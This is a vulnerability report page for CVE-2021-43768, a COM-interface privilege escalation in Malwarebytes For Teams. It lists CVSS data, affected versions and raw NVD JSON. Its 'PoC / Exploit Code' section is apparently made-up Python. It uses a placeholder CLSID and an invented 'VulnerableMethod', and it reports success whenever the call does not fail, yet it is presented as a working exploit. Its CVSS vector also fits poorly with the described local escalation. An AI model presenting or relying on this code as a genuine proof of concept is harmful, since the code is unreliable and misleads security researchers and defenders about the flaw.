Security Vulnerability Report
中文
CVE-2021-43768 CVSS 5.3 MEDIUM

CVE-2021-43768

Published: 2025-10-24 14:15:38
Last Modified: 2026-04-15 00:35:42

Description

In Malwarebytes For Teams v.1.0.990 and before and fixed in v.1.0.1003 and later a privilege escalation can occur via the COM interface running in mbamservice.exe.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Malwarebytes For Teams < 1.0.990
Malwarebytes For Teams = 1.0.990
Malwarebytes For Teams v.1.0.990 and before

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2021-43768 PoC - Malwarebytes For Teams COM Privilege Escalation # This PoC demonstrates the privilege escalation via COM interface # Reference: https://hackerone.com/reports/895316 import pythoncom import pywintypes from win32com.client import Dispatch def exploit_cve_2021_43768(): """ Exploit for CVE-2021-43768: Malwarebytes For Teams COM Interface Privilege Escalation Target: mbamservice.exe Effect: Escalates from low privileged user to SYSTEM """ try: # Initialize COM security context pythoncom.CoInitializeSecurity( None, -1, None, None, pythoncom.RPC_C_AUTHN_LEVEL_DEFAULT, pythoncom.RPC_C_IMP_LEVEL_IMPERSONATE, None, 0, None ) # Target CLSID for Malwarebytes COM interface (example placeholder) # In real exploitation, replace with actual CLSID from mbamservice.exe target_clsid = "{XXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" # Create instance of vulnerable COM object obj = Dispatch(target_clsid) # Trigger vulnerability through specific method call # The vulnerable method allows arbitrary code execution obj.VulnerableMethod("calc.exe") # Example: spawns calculator as proof print("[+] Privilege escalation successful!") return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("CVE-2021-43768 Malwarebytes For Teams COM Privilege Escalation") print("=" * 60) exploit_cve_2021_43768()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-43768", "sourceIdentifier": "[email protected]", "published": "2025-10-24T14:15:37.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Malwarebytes For Teams v.1.0.990 and before and fixed in v.1.0.1003 and later a privilege escalation can occur via the COM interface running in mbamservice.exe."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://hackerone.com/reports/895316", "source": "[email protected]"}, {"url": "https://www.malwarebytes.com/secure/cves/cve-2021-43768", "source": "[email protected]"}]}}